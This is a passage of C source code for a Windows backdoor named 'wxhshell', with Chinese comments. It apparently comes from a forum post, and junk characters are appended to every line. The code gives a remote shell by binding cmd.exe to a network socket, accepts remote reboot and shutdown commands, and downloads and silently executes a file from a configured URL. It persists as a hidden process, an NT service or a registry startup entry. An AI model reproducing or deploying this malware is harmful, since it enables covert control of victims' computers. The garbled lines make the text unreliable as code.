  else { @PZ{(  
3!u`PIQv  
    switch(cmd[0]) { hE;|VSdo  
  2bnYYQ14:  
  // 帮助 P{ K;vEp  
  case '?': { \GD\N=?~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GyZpdp!  
    break; `w_%HVw>"  
  } &Yklf?EZ>Q  
  // 安装 i< b-$9  
  case 'i': { DuMzK%  
    if(Install()) (k^o[HF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,6 IKkyD  
    else @dyh: 2!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &E+mXEve  
    break; 6KRC_-  
    } ogvB{R  
  // 卸载 WqJrDj~  
  case 'r': { jl"su:y  
    if(Uninstall()) ! }>CEE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 67g"8R#.V  
    else FX1H2N(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a_3w/9L4r  
    break; (uVL!%61k  
    } FTQNS8  
  // 显示 wxhshell 所在路径 mz|p=[lR|  
  case 'p': { j>`-BN_  
    char svExeFile[MAX_PATH]; ~Jh1$O,9o  
    strcpy(svExeFile,"\n\r"); 3OB=D{$V  
      strcat(svExeFile,ExeFile); x:6c@2  
        send(wsh,svExeFile,strlen(svExeFile),0); 5~[m]   
    break; Fy$f`w_H@  
    } 2 oo/KndU  
  // 重启 `tPVNO,l  
  case 'b': { 6Qk[TL)t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l86gs6>  
    if(Boot(REBOOT)) DS1{~_>nFu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]SmN}Iq1  
    else { Miz?t*|{[  
    closesocket(wsh); ;O7Vl5R  
    ExitThread(0); i*((@:  
    } #M)+sK$H%f  
    break; ]5r@`%9  
    } !T#EkMM  
  // 关机 1{A K=H')  
  case 'd': { jx{wOb~oO)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z*UgRLKZD  
    if(Boot(SHUTDOWN)) ij,Rq`}l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #,9s\T  
    else { \c}pzBFd  
    closesocket(wsh); aH?+^f"D  
    ExitThread(0); ?2%;VKN4  
    } ph$ vP;}  
    break; bO` S Bq$  
    } hXh nJ  
  // 获取shell Ae[fW97  
  case 's': { SLW|)Q24  
    CmdShell(wsh); {2)).g  
    closesocket(wsh); h343$,))u  
    ExitThread(0); 2FcNzAaV  
    break; brX[-  
  } 5ZX  
  // 退出 +BVY9U?\"  
  case 'x': { E/zclD5S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6f:uAFwG  
    CloseIt(wsh); );zLgNx,  
    break; !z1\ #|>  
    } nb.|^O?  
  // 离开 -wT!g;v;%  
  case 'q': { ` {qt4zd0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .I?~R:(Ig  
    closesocket(wsh); CTS1."kx1  
    WSACleanup(); q B IekQT  
    exit(1); \n`/?\r.z  
    break; PthgxB^  
        } 4.p:$/GTS  
  } D94bq_2}  
  } BwkY;Ur/AL  
O7CW#F  
  // 提示信息 *M)M!jTv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }K5okxio  
} I^nDO\m <  
  } f92z/5%V  
TlowEh8r  
  return; &1Cs'  
} ,+ 5:}hR+  
d'"|Qg_'  
// shell模块句柄  wX5q=I  
int CmdShell(SOCKET sock) d N$,AOT  
{ h*R w^5,c  
STARTUPINFO si; {a__/I>)  
ZeroMemory(&si,sizeof(si)); S:XsO9:{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7 =D,D+f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,5x#o  
PROCESS_INFORMATION ProcessInfo; S@'%dN6e  
char cmdline[]="cmd"; :..WL;gC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5DDSo0E  
  return 0; SK#&%Yk  
} \%7fm#z6  
16>D?;2o(  
// 自身启动模式 P2@Z7DhQ  
int StartFromService(void) q^:VF()d_z  
{ 5rmU9L  
typedef struct j XH9P q4  
{ 3FtL<7B '.  
  DWORD ExitStatus;  \_  
  DWORD PebBaseAddress; 3vKTCHbk9  
  DWORD AffinityMask; v2I? 5?j  
  DWORD BasePriority; v<t?t<|J  
  ULONG UniqueProcessId; OIJT~Z}  
  ULONG InheritedFromUniqueProcessId; v$D U q+  
}   PROCESS_BASIC_INFORMATION; x5CMP%}d  
?% [~J  
PROCNTQSIP NtQueryInformationProcess; r ^\(M {  
"X^<g{]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fZj,Q#}D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S43JaSw)  
O ,9^R  
  HANDLE             hProcess; @({=~ W^  
  PROCESS_BASIC_INFORMATION pbi; 7nPcm;Er  
FZ?:BX^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :EAh%q  
  if(NULL == hInst ) return 0; 4y#XX[2Wj  
-pIz-*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yQ$]`hr;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uorX;yekC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %S"85#R5E  
tRpY+s~Fq  
  if (!NtQueryInformationProcess) return 0; k qL.ZR  
4g"%?xN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x(cv}#}S8  
  if(!hProcess) return 0; i%JJ+9N  
Ix6\5}.c9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pr,,E[  
)A xD|A  
  CloseHandle(hProcess); ^Fh*9[Zf$  
p20JU zy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Scx!h.\5  
if(hProcess==NULL) return 0; 'Y#'ozSQv  
m$_b\^we  
HMODULE hMod; ol*,&C:{  
char procName[255]; TIxOMYy  
unsigned long cbNeeded; Uns%6o  
j<P;:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0F@~[W|2  
K6t"98  
  CloseHandle(hProcess); s*[ I"iE  
gu!!}pwV9  
if(strstr(procName,"services")) return 1; // 以服务启动 In^mE(8YO  
9xO@_pkX  
  return 0; // 注册表启动 =T,Q7Dh  
} ^hiY6N &  
0\{dt4nW&O  
// 主模块 4hy -M>!D|  
int StartWxhshell(LPSTR lpCmdLine) 7;o:r$08&}  
{ mLqqo2u  
  SOCKET wsl; Q{|%kU"  
BOOL val=TRUE; J?w_DQa  
  int port=0; X2@Ef2EkM  
  struct sockaddr_in door; 3fhY+$tq  
fwv^dEe  
  if(wscfg.ws_autoins) Install(); aL4^ po  
rP3tFvOH  
port=atoi(lpCmdLine); &U7v=a  
88~Nrl=co  
if(port<=0) port=wscfg.ws_port; ;ND$4$  
X7huc*  
  WSADATA data; $C;i}q#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b^Z2Vf:k]  
G;}WZy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hHN[K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m2\\!C]f  
  door.sin_family = AF_INET; 'RV96lX<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =S`h/fru  
  door.sin_port = htons(port); Ohk\P;}  
LDc EjFK(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NgDhdOB  
closesocket(wsl); /"8e,  
return 1; |@iM(MM[?  
} OUi;f_*[r  
~ tA ^K  
  if(listen(wsl,2) == INVALID_SOCKET) { FC] *^B  
closesocket(wsl); %-blx)Pc  
return 1; N:)x67,  
} EL$DvJ~  
  Wxhshell(wsl); <#h,_WP*  
  WSACleanup(); z3uR1vF'  
S-S%IdL  
return 0; C P}fxDW  
A7Ql%$v7^  
} ICN>kJ\;M  
q*UHzE:LI  
// 以NT服务方式启动 bW6| &P}X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~i"=:D  
{ F<,pAxl~@  
DWORD   status = 0; 3p=Xv%xd  
  DWORD   specificError = 0xfffffff; E:x@O8F  
g:M;S"U3*Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K<e #y!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yMz#e0k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ik(Du/  
  serviceStatus.dwWin32ExitCode     = 0; /P*XB%y  
  serviceStatus.dwServiceSpecificExitCode = 0; t2o{=!$WH  
  serviceStatus.dwCheckPoint       = 0; Ojc Tu  
  serviceStatus.dwWaitHint       = 0; + +}!Gfc?s  
$Y|OGZH8E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |reA`&<q  
  if (hServiceStatusHandle==0) return; !FL"L 9   
;#85 _/  
status = GetLastError(); ojy^ A  
  if (status!=NO_ERROR) i wgt\ux.  
{ e,xL~P{|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z< L2W",  
    serviceStatus.dwCheckPoint       = 0; EfEgY|V0  
    serviceStatus.dwWaitHint       = 0; e P@#I^_  
    serviceStatus.dwWin32ExitCode     = status; [=>=5'-  
    serviceStatus.dwServiceSpecificExitCode = specificError; _ p\L,No  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [[ ie  
    return; GQtNk<?$I  
  } i!%bz  
uvbVb"\"Yk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]3O&8,  
  serviceStatus.dwCheckPoint       = 0; CT[9=wV)m%  
  serviceStatus.dwWaitHint       = 0; rtuaU=U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y(J~:"}7)  
} ^/ "}_bR  
nqo{]fn  
// 处理NT服务事件,比如:启动、停止 ='h2z"}\Bn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4/b.;$  
{ ,W}:vdC  
switch(fdwControl) ( V4Ppg  
{ dipfsH]p  
case SERVICE_CONTROL_STOP: f kZHy|m  
  serviceStatus.dwWin32ExitCode = 0;  g{Hgs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /TpTR-\I0  
  serviceStatus.dwCheckPoint   = 0; *D?_,s  
  serviceStatus.dwWaitHint     = 0; "U}kp#)  
  { l r&7 qu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qPQIcJ  
  } lp *GJP]T  
  return; /}m)FaAi  
case SERVICE_CONTROL_PAUSE: sF {,n0<8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `9^tuR,  
  break; b(0<,r8  
case SERVICE_CONTROL_CONTINUE: .$&^yp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -!PJHCLd  
  break; j}^w :W76  
case SERVICE_CONTROL_INTERROGATE: AM}2=Ip  
  break; ;ek*2Lh  
}; CPOH qK`k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XQy`5iv  
} zV&l^.  
9^}&PEl  
// 标准应用程序主函数 v$]B;;[A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f7x2"&?vg  
{ 'zI(OnIS  
p/ ITg  
// 获取操作系统版本 ^lHy)!&A  
OsIsNt=GetOsVer(); <o%T]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t8*Jdd^3Z/  
UGO#o`.G}  
  // 从命令行安装 8gS7$ EH'  
  if(strpbrk(lpCmdLine,"iI")) Install(); >of34C"DI  
zgwez$  
  // 下载执行文件 $:~;U xh=  
if(wscfg.ws_downexe) { \l59/ZFan  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uN`/&_$c  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8qyEHUN2q  
} UMGiJO\yH  
7zG r+Px  
if(!OsIsNt) { $r!CQ 2S  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~7 i{~<?  
HideProc(); JIySe:p3  
StartWxhshell(lpCmdLine); ^ }7O|Y7  
} A8m06  
else 1$&@wG  
  if(StartFromService()) L_Ok?9$  
  // 以服务方式启动 D>7a0p784  
  StartServiceCtrlDispatcher(DispatchTable); "/'3I/}  
else (7R?T}  
  // 普通方式启动 y#GHmHeh  
  StartWxhshell(lpCmdLine); Cy;UyZ  
q}LDFsU  
return 0;  lbHgxZ  
}
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只看该作者 1 发表于: 2006-10-10
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